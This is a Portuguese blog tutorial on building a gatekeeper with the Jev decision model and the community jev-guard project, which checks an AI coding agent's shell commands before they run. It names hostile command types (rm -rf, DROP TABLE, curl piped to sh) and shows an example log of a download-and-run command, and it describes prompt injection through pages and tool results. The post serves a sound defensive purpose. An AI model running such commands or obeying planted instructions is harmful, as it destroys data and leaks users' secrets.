Como usar o Jev para checar se um comando é seguro antes do agente executar

Pra usar o Jev na segurança de comandos, você transforma a checagem numa pergunta tipada: o state leva o comando e o contexto da sessão (prompts recentes do usuário, intenção do agente, decisões anteriores e conteúdo já sinalizado), e o mapa questions leva uma Choice com bloquear, perguntar ou liberar, mais Nouls de pedido do usuário e de origem não confiável. O código lê choice, probabilities e confidence, manda pra revisão humana quando a confiança fica abaixo de 0.5 e registra tudo pra calibrar depois. Se o seu agente é suportado, o jev-guard da comunidade já faz isso
Fala aí, beleza? Seu agente de código não deveria rodar um rm ou um curl suspeito sem alguém perguntar antes: isso aqui é seguro?
E perguntar pro próprio agente não resolve muito, né? Ele é justamente quem quer rodar o comando haha
Aí entra o Jev, da TypeSafe AI
Ele é o primeiro System One model e funciona diferente de um LLM de chat: é um modelo de decisão, recebe um estado e perguntas tipadas e devolve respostas estruturadas, sem gerar texto e sem streaming
Ou seja, encaixa muito bem como porteiro entre o agente e o terminal 🙂
Neste post tu vai ver como montar a pergunta, ler a resposta e transformar isso em três ações que o seu código obedece: bloquear, pedir confirmação ou liberar
O que você precisa antes de começar:
O básico é pouco, se liga:
- Python 3.10 ou superior
- O SDK instalado com
pip install typesafe-sdkouuv add typesafe-sdk - Sua chave na variável de ambiente
TYPESAFE_API_KEY, que é de onde o cliente lê - Nada de escolher modelo: por padrão o cliente chama o
jev-latest
Tem dois limites que mexem direto no desenho da checagem
O Jev aceita até 64 mil tokens de contexto por requisição e só recebe texto
Isso define quanto histórico da sessão cabe no state, então não dá pra despejar a conversa inteira do agente ali dentro
E o custo: no Jev 1.13 são US$ 0,042 por milhão de tokens de entrada, com tokens de saída gratuitos
Isso importa porque cada comando checado é uma chamada, e o que pesa na conta é o tamanho do state que você manda
Passo a passo: transformando a checagem de segurança em pergunta tipada
A ideia toda é simples: em vez de pedir pra uma IA escrever se o comando é perigoso (e depois tu ficar fazendo parse de texto), tu faz uma pergunta com opções fechadas e recebe um resultado que vira if no código
Curso de Jev: Sistemas Mais Inteligentes, Rápidos e Robustos
Desenvolva sistemas mais inteligentes, rápidos e robustos com Jev
Uma requisição ao Jev tem três campos no nível de cima: state (o conteúdo a avaliar), model e questions, que é um mapa de ids que você escolhe para objetos de pergunta
Existem três tipos de pergunta:
- Choice: escolhe uma opção de um conjunto definido
- Score: posição numa rubrica ordenada
- Noul: probabilidade de a resposta ser sim
Bora ver na prática?
1. Monte o state com o comando e o contexto da sessão
O state é o "processo" que o Jev vai julgar
E aqui vale espelhar o que o jev-guard (projeto da comunidade, no repositório leepokai/jev-guard, que aparece com mais detalhe lá embaixo) considera em cada decisão: prompts recentes do usuário, intenção declarada pelo agente, decisões recentes e conteúdo já sinalizado
import json
def montar_state(comando: str, sessao: dict) -> str:
contexto = {
"comando_a_executar": comando,
"prompts_recentes_do_usuario": sessao["prompts_usuario"][-5:],
"intencao_declarada_pelo_agente": sessao["intencao_agente"],
"decisoes_recentes": sessao["decisoes"][-10:],
"conteudo_ja_sinalizado": sessao["sinalizados"],
}
# o Jev só recebe texto, então serializamos tudo
return json.dumps(contexto, ensure_ascii=False, indent=2)
Os cortes [-5:] e [-10:] são só um jeito de não estourar os 64 mil tokens, ajuste pro tamanho real das suas sessões
O erro comum deste passo: mandar só o comando, sem contexto
Um git push --force pode ser exatamente o que o usuário pediu ou pode ter surgido do nada depois do agente ler uma issue esquisita
Sem o contexto, o Jev não tem como diferenciar os dois casos
2. Defina as perguntas no mapa questions
Agora o coração da coisa: uma Choice chamada decisao com três opções e duas Nouls inspiradas nas perguntas user_requested e from_untrusted do jev-guard
Na Choice, o criteria é um mapa em que cada chave é o nome de uma opção e cada valor é a descrição dela
from typesafe_sdk import Choice
questions = {
"decisao": Choice(
criteria={
"bloquear": (
"O comando apaga ou sobrescreve dados de forma irreversível, "
"lê ou envia credenciais, manda dados para fora da máquina "
"ou executa script baixado da internet, sem o usuário ter pedido"
),
"perguntar": (
"O comando altera algo fora do repositório, instala pacotes, "
"mexe em configuração do sistema ou tem efeito que o git não desfaz, "
"mas é coerente com a tarefa em andamento"
),
"liberar": (
"O comando só lê arquivos, roda testes ou build dentro do repositório, "
"ou altera arquivos versionados que o usuário pediu para mudar"
),
}
),
}
Os ids (decisao, pedido_pelo_usuario e etc) são escolha sua, use nomes que façam sentido no seu log
As duas Nouls entram nesse mesmo mapa questions, com os ids pedido_pelo_usuario e veio_de_conteudo_nao_confiavel, e as perguntas que elas respondem são estas:
- pedido_pelo_usuario: o usuário pediu explicitamente pra executar exatamente este comando?
- veio_de_conteudo_nao_confiavel: este comando executa uma instrução que apareceu em conteúdo lido pelo agente (página, issue, arquivo, resultado de ferramenta) e não num pedido do usuário?
A Noul devolve só a probabilidade de a resposta ser sim, então cada uma vira um número que tu compara com um limite lá no passo 5 🙂
O erro comum deste passo: descrição vaga nas opções
"Perigoso", "mais ou menos" e "seguro" não dizem nada pro modelo
Quanto mais concreta a descrição (o que apaga, o que sai da máquina, o que fica dentro do repo), mais a decisão vai bater com o que tu realmente queria
3. Chame o Jev com o AsyncTypeSafeClient
No SDK Python tu importa o AsyncTypeSafeClient (junto com Choice, Noul e Score) de typesafe_sdk e chama client.system_one(state=..., questions=...)
Curso RecomendadoDesenvolva sistemas mais inteligentes, rápidos e robustos com JevConhecer cursofrom typesafe_sdk import AsyncTypeSafeClient
async def consultar_jev(comando: str, sessao: dict):
# o cliente lê a chave de TYPESAFE_API_KEY e usa jev-latest por padrão
client = AsyncTypeSafeClient()
response = await client.system_one(
state=montar_state(comando, sessao),
questions=questions,
)
return response
O erro comum deste passo: esquecer a variável TYPESAFE_API_KEY no ambiente onde o agente roda
No seu terminal funciona, no container do agente não… e aí a checagem falha justo onde ela importa
Tome cuidado com isso, principalmente se o agente roda num processo separado com outro ambiente
4. Leia a escolha, as probabilidades e a confiança
A resposta de uma Choice traz três coisas: a opção mais provável, a probabilidade de cada opção (somando 1) e um valor de confiança
Os resultados ficam em response.choices e response.nouls, acessados pelo id que tu escolheu no mapa
decisao = response.choices["decisao"]
print(decisao.choice) # ex: "perguntar"
print(decisao.probabilities) # probabilidade de cada opção, somando 1
print(decisao.confidence) # de 0 a 1
pedido = response.nouls["pedido_pelo_usuario"].noul
nao_confiavel = response.nouls["veio_de_conteudo_nao_confiavel"].noul
E o que é essa confiança?
Com n opções, ela é calculada assim:
confidence = (p_max - 1/n) / (1 - 1/n)
Se as probabilidades estão divididas igualmente entre as opções, dá 0
Se uma opção leva tudo, dá 1
No nosso caso, com 3 opções: se a opção vencedora tem 0.6 de probabilidade, a conta fica (0.6 – 1/3) / (1 – 1/3), que dá 0.4
Repara que 0.6 parece "maioria", mas a confiança é baixa, porque o modelo ficou bem dividido entre as opções
Já a Noul é mais direta: ela não tem confiança separada, o próprio número (0 = não, 1 = sim) já descreve a distribuição inteira
O erro comum deste passo: tratar o choice como verdade absoluta
Um "liberar" com confiança 0.9 e um "liberar" com confiança 0.2 são coisas MUITO diferentes, e o código precisa saber disso
5. Converta a resposta em ação no código
Agora sim a parte que interessa: transformar o resultado em bloquear, perguntar ou liberar
A própria documentação de uso sugere mandar pra revisão humana quando a confiança de uma Choice fica abaixo de 0.5, então isso entra como regra
E do jev-guard a gente pega duas lógicas: pedido explícito do usuário pode transformar "perguntar" em "liberar", e instrução vinda de conteúdo não confiável é negada
LIMITE_CONFIANCA = 0.5 # sugestão da documentação para revisão humana
LIMITE_NAO_CONFIAVEL = 0.5 # escolha sua, calibre com os logs
LIMITE_PEDIDO = 0.8 # escolha sua, calibre com os logs
async def decidir(comando: str, sessao: dict) -> str:
try:
response = await consultar_jev(comando, sessao)
except Exception:
# se a checagem falhar, nunca libera por padrão
return "perguntar"
decisao = response.choices["decisao"]
pedido = response.nouls["pedido_pelo_usuario"].noul
nao_confiavel = response.nouls["veio_de_conteudo_nao_confiavel"].noul
# instrução plantada em conteúdo lido pelo agente: bloqueia
if nao_confiavel >= LIMITE_NAO_CONFIAVEL:
return "bloquear"
if decisao.choice == "bloquear":
return "bloquear"
# confiança baixa vira confirmação humana, mesmo que a opção seja liberar
if decisao.confidence < LIMITE_CONFIANCA:
return "perguntar"
# o usuário pediu exatamente isso: perguntar vira liberar
if decisao.choice == "perguntar" and pedido >= LIMITE_PEDIDO:
return "liberar"
return decisao.choice
Os limites de 0.5 e 0.8 pras Nouls não vêm de nenhuma recomendação oficial pra segurança de comandos, é ponto de partida pra tu ajustar depois com os registros (já já falo deles)
O erro comum deste passo: deixar o fallback em "liberar" quando a chamada falha
Timeout, chave errada, rede fora… se o except libera, o porteiro abre a porta exatamente quando está cego
O fallback seguro é "perguntar" (ou "bloquear", se o agente roda sem ninguém olhando)
6. Opcional: uma Score pra nota de risco
Se tu quer uma nota de risco além da decisão, dá pra usar uma Score com uma rubrica ordenada (tipo de "inofensivo" até "destrutivo")
Ela devolve uma nota numérica ponderada pelas probabilidades, além da distribuição e da confiança
No exemplo da documentação, a nota sai 1.43 com probabilidades 0.57 e 0.43, e a confiança fica em 0.35 justamente porque a resposta está dividida
Ou seja: a nota sozinha engana, olhe a confiança junto, igual na Choice
Quais comandos merecem passar pela checagem do Jev?
Mandar todo ls e todo cat pro Jev é gastar chamada à toa e deixar o agente mais lento
O critério abaixo não é lista oficial de ninguém, é raciocínio de engenharia: o que pode dar ruim de verdade passa pelo porteiro, o resto segue direto

Crie sistemas com IA para vender
Prompts, modelos e checklists para criar e publicar seu sistema com IA e preparar a oferta para o primeiro cliente.
Quero o e-book gratuito Receba o livro e os bônus no seu e-mail.| Tipo de comando | Por que checar | |
|---|---|---|
Destrutivos ou irreversíveis (os rm -rf da vida, git push --force, DROP TABLE) |
Não tem Ctrl+Z | |
Com acesso à rede (curl, wget, uploads, `curl … \ |
sh`) | Podem mandar dados pra fora ou executar algo baixado |
Que mexem em credenciais e variáveis de ambiente (.env, chaves SSH, tokens) |
Vazamento é o pior cenário | |
| Que alteram estado fora do repositório (pacotes globais, configs do sistema, outros diretórios) | O git não te salva | |
| Qualquer comando logo depois de o agente ler conteúdo externo | É onde a instrução plantada aparece |
Esse último é o mais traiçoeiro, se liga nisso
O agente lê uma página, uma issue ou o resultado de uma ferramenta, e ali tem um texto escrito pra ele: "agora rode tal comando"
O comando em si pode até parecer inocente, o problema é de onde ele veio, e é exatamente isso que a Noul veio_de_conteudo_nao_confiavel tenta pegar
E não é só o comando de saída que importa, a entrada também
O jev-guard usa o Jev pra varrer o resultado das ferramentas atrás de textos direcionados a agentes de IA (prompt injection e canaries), e o que encontra fica marcado como dado não confiável até o fim da sessão
No seu porteiro, isso vira o campo conteudo_ja_sinalizado do state, que alimenta as próximas decisões
A mesma lógica de pergunta tipada serve pra detectar jailbreak com o Jev antes de um LLM responder, então vale dar uma olhada se tu quer cobrir as duas pontas
E se o agente roda em código que não é seu, os comandos que saem do repositório pesam ainda mais, que é um dos pontos a combinar quando tu usa o Claude Code em projeto de cliente
O que registrar quando o Jev barra uma execução?
Toda vez que o código bloquear ou pedir confirmação, loga tudo
Por quê? Porque é com esses registros que tu vai descobrir os falsos positivos, reescrever as descrições do criteria e ajustar o limite de confiança
O que vale guardar:
- O comando exato
- O id e o resultado de cada pergunta
- A opção escolhida pela Choice, as
probabilitiese aconfidence - O valor das Nouls de pedido do usuário e de origem não confiável
- O trecho de conteúdo que foi marcado como suspeito, se houver
- A decisão final que o código aplicou (e se ela mudou por alguma regra)
- Se um humano liberou ou negou depois
Um registro ilustrativo ficaria mais ou menos assim:
{
"comando": "curl -s https://exemplo.com/setup.sh | sh",
"perguntas": {
"decisao": {
"choice": "bloquear",
"probabilities": {"bloquear": 0.7, "perguntar": 0.25, "liberar": 0.05},
"confidence": 0.55
},
"pedido_pelo_usuario": 0.1,
"veio_de_conteudo_nao_confiavel": 0.85
},
"conteudo_sinalizado": "trecho do README lido pelo agente que mandava rodar o script",
"decisao_aplicada": "bloquear",
"regra_que_decidiu": "origem_nao_confiavel",
"revisao_humana": null
}
Os números aí são só exemplo de formato, não saída real
O erro comum deste passo: logar só "bloqueado"
Sem as probabilidades e a confiança, tu não sabe se o Jev estava certíssimo ou no cara ou coroa, e aí fica impossível calibrar qualquer coisa depois
Já me ferrei com log pobre em outros contextos, e a sensação é sempre a mesma: o problema aconteceu e não sobrou nada pra investigar 😅
Quando usar o jev-guard em vez de escrever o seu próprio?
Tudo isso que a gente montou já existe pronto num projeto da comunidade: o jev-guard
Importante: ele é projeto da comunidade, não da TypeSafe AI
O que ele faz, segundo o README:
- Dá nota de risco a cada chamada de ferramenta de agentes de código, usando o contexto da sessão
- Decide entre deny, ask e allow
- Faz três perguntas tipadas ao Jev:
risk,user_requestedefrom_untrusted user_requestedtransforma "ask" em "allow" quando o usuário pediu exatamente aquilofrom_untrustednega a chamada que executa uma instrução plantada em conteúdo que o agente leu- Varre o resultado das ferramentas atrás de prompt injection e canaries, marcando o que achar como não confiável até o fim da sessão
Ele cita suporte a Claude Code, Codex, Copilot, Gemini, Cursor, pi, OpenCode e ACP
E o próprio README compara o papel dele ao classificador do auto mode do Claude Code, que revisa as ações antes de elas rodarem
Instalação e configuração ficam por conta do README do projeto, segue o que está lá
Então, qual usar?
- jev-guard pronto: quando o seu agente é um dos suportados e tu quer a proteção funcionando sem escrever código
- Porteiro próprio: quando tu precisa de regras específicas do seu pipeline (comandos internos, ambientes de deploy, políticas do time) ou quer controlar exatamente o que vai pro state e pro log
Nada impede também de ler o código do jev-guard como referência e montar o seu em cima das mesmas ideias, é open source pra isso mesmo =)
Próximo passo: coloque um porteiro antes do terminal do seu agente
A sacada central é essa: a checagem de segurança vira uma pergunta tipada com saída que o código obedece, e não um texto pra tu interpretar e torcer pra dar certo
State com comando e contexto, Choice com bloquear, perguntar e liberar, Nouls pra pedido do usuário e origem não confiável, e um if que respeita a confiança
O caminho prático fica assim:
- Instale o SDK com
pip install typesafe-sdke configure aTYPESAFE_API_KEY - Implemente a Choice de três opções com o limite de 0.5 pra revisão humana
- Deixe o fallback em "perguntar", nunca em "liberar"
- Comece logando tudo, inclusive o que foi liberado
- Depois de alguns dias de registro, aperte ou afrouxe as regras com base no que os logs mostram
Simples, né? E muuuito melhor que deixar o agente rodar qualquer coisa no seu terminal 😀
Até o próximo post!
Perguntas frequentes
Quanto custa checar um comando com o Jev antes de executar?
No Jev 1.13 a conta é US$ 0,042 por milhão de tokens de entrada, e os tokens de saída são gratuitos. Como cada checagem é uma chamada, quem pesa na conta é o tamanho do state que você monta, não a resposta estruturada que volta.
Dá pra mandar o histórico inteiro da sessão do agente pro Jev?
Não, o Jev aceita até 64 mil tokens de contexto por requisição e só recebe texto. Por isso o state precisa ser recortado (tipo os últimos prompts e as últimas decisões), e não a conversa inteira do agente.
O que fazer quando a confiança da decisão do Jev fica baixa?
A documentação de uso sugere mandar pra revisão humana quando a confiança de uma Choice fica abaixo de 0.5. Isso acontece quando a probabilidade está dividida entre as opções, então em vez de confiar cegamente no ‘bloquear’ ou ‘liberar’, o fluxo pausa e pergunta pra alguém.
Preciso instalar algo além do SDK Python pra usar o Jev?
Basicamente não: Python 3.10 ou superior, o SDK com pip install typesafe-sdk (ou uv add typesafe-sdk) e a chave na variável TYPESAFE_API_KEY. Sem escolher modelo manualmente, o cliente já chama o jev-latest por padrão.
O jev-guard substitui montar essa checagem na mão?
Pra Claude Code, Codex, Copilot, Gemini, Cursor, pi, OpenCode e ACP, sim, o jev-guard (projeto da comunidade no repositório leepokai/jev-guard) já faz isso pronto. Ele roda três perguntas tipadas no Jev (risk, user_requested, from_untrusted) e decide entre deny, ask e allow, além de varrer o resultado das ferramentas atrás de prompt injection.
Qual a diferença entre usar Choice e Noul pra decidir se um comando é seguro?
A Choice serve pra escolher entre opções fechadas (tipo bloquear, perguntar, liberar) e devolve a opção mais provável com confidence. Já a Noul responde só uma pergunta de sim ou não, com a própria probabilidade descrevendo a resposta inteira, sem confidence separado, o que encaixa bem em perguntas tipo ‘o usuário pediu isso?’.
Formações
Formação Claude Code
Domine Claude Code do absoluto zero até o avançado
- 120 aulas
- 4 projetos
- 9h 48min
Blog | Mais populares

Como montar um workflow de automação combinando decisões do Jev em código
Aprenda a montar um workflow com Jev: decisões tipadas encadeadas em código, alta confiança agindo sozinha e casos incertos escalando para revisão.

Jev decide, LLM escreve: como dividir os papéis dentro de um agente de IA
Jev é o modelo que decide, não escreve: entenda como dividir papéis entre Jev e LLM dentro de um agente de IA e quando usar cada um.

Para quem o Jev serve (e para quem não serve)?
Jev serve pra roteamento, scoring e guardrails em IA, não pra texto ou código. Veja pra quem o Jev serve e quando evitar.
